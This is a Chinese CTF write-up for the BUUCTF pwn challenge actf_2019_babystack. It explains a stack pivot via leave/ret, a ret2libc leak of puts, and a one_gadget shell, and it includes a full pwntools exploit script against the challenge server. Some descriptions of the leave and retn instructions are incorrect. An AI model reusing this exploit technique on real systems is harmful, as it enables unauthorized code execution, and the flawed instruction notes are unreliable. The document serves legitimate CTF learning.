[BUUCTF]PWN——actf_2019_babystack

actf_2019_babystack

附件

步骤:

  1. 例行检查,64位程序,开启了nx保护
    在这里插入图片描述
  2. 本地运行一下看看大概的情况,有两次输入
    在这里插入图片描述
  3. 64位ida载入
    在这里插入图片描述
    程序可以输入两次,加上只能覆盖ebp和返回地址,想到的是栈迁移的方法
  4. 栈迁移主要就是使用的leave和retn这两条指令,两条指令的实质是
leave:move rbp,rsp;pop rbp
retn:pop rdi

利用思路

  1. 第一个输入点固定输入0xe0,造成溢出
  2. 19行会打印出s在栈上的地址,接收一下,获得栈地址
  3. 由于没有现成的system(‘/bin/sh’),所以我们要在第二个输入点先构造ret2libc的payload,然后利用栈劫持去执行这个payload,泄露libc
  4. 获取了libc后计算system和bin/sh的地址,继续用栈劫持的方式执行system(‘/bin/sh’)获取shell

利用过程

  1. 首先获取一下s在栈上的地址
p.recvuntil('>')
p.sendline(str(0xe0))  #第一个输入点固定输入0xe0,造成溢出,为后续利用做准备
p.recvuntil('Your message will be saved at ')
s_addr=int(p.recvuntil('\n',drop=True),16)
  1. 利用第二个输入点,完成栈劫持+ret2libc
payload = 'a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)  #ret2libc
payload += 'a'*(0xd0-len(payload))+p64(s_addr)+p64(leave)   #栈劫持,我看其他师傅喜欢叫ret2leave

第一行payload没什么好解释的,常规的ret2libc的构造,画个图,简单说一下第二行的payload,
我们上述payload想要构造的栈
在这里插入图片描述
程序执行到ret处,去执行了leave:move rsp,rbp;pop ebp
move rsp,rbp
在这里插入图片描述
pop rbp
在这里插入图片描述
执行完ret处的leave后,程序本身还有一个leave和retn
执行程序本身的leave
move rsp,rbp
在这里插入图片描述

pop rbp
在这里插入图片描述
然后是retn:pop ret
在这里插入图片描述
到这里,我们就将程序的执行流劫持到了我们的s地址上,s地址里写的是我们泄露libc的rop,之后程序执行的时候是从ret2libc开始的,因为rip没执行完一条指令会自动+8,这也就是写ret2libc的时候为什么前8个byte要用a去填充。
栈劫持基本的利用格式:payload=a*offset+p64(buf_addr)+p64(leave)
leave相当于 rsp = rbp + 8; rbp = [rbp];
为了达到我们的目的(让rsp指向 rbp里面的值+8的位置),一次leave是不够的,所以本题需要两次,才能使得rsp = [rbp] + 8

  1. 泄露了libc,就可以去计算system和bin/sh的地址了,实际利用的时候感觉应该是libcsearch的问题,找不到libc2.27,因为程序在ubuntu18上的所以libc是libc-2.27.so,然后就换用buu上提供的libc2.27了,有了libc就直接用one_gadget了,然后重复泄露libc的方法去执行one_gadget
    在这里插入图片描述

完整exp

from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64',os='linux')

elf=ELF('./ACTF_2019_babystack')
libc=ELF('./libc-2.27-64.so')
#p=process('./ACTF_2019_babystack')
p=remote('node3.buuoj.cn',28329)

main=0x4008f6
leave=0x400a18
pop_rdi=0x400ad3
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

p.recvuntil('>')
p.sendline(str(0xe0))
p.recvuntil('Your message will be saved at ')
s_addr=int(p.recvuntil('\n',drop=True),16)

payload = 'a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
payload += 'a'*(0xd0-len(payload))+p64(s_addr)+p64(leave)

p.recvline()
p.recvuntil('>')
p.send(payload)#注意这里有个坑,要send,不能用sendline,不然程序接收和发送不匹配!!!

p.recvuntil('Byebye~\n')
puts_addr = u64(p.recvuntil('\n',drop = True).ljust(8,'\x00'))
libcbase = puts_addr - libc.symbols['puts']
one_gadget = libcbase + 0x4f2c5


p.recvuntil('>')
p.sendline(str(0xe0))
p.recvuntil('Your message will be saved at ')
s_addr=int(p.recvuntil('\n',drop=True),16)

payload = 'a'*8 + p64(one_gadget)
payload += 'a'*(0xd0-len(payload))+p64(s_addr)+p64(leave)

p.recvline()
p.recvuntil('>')
p.send(payload)

p.interactive()

在这里插入图片描述

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值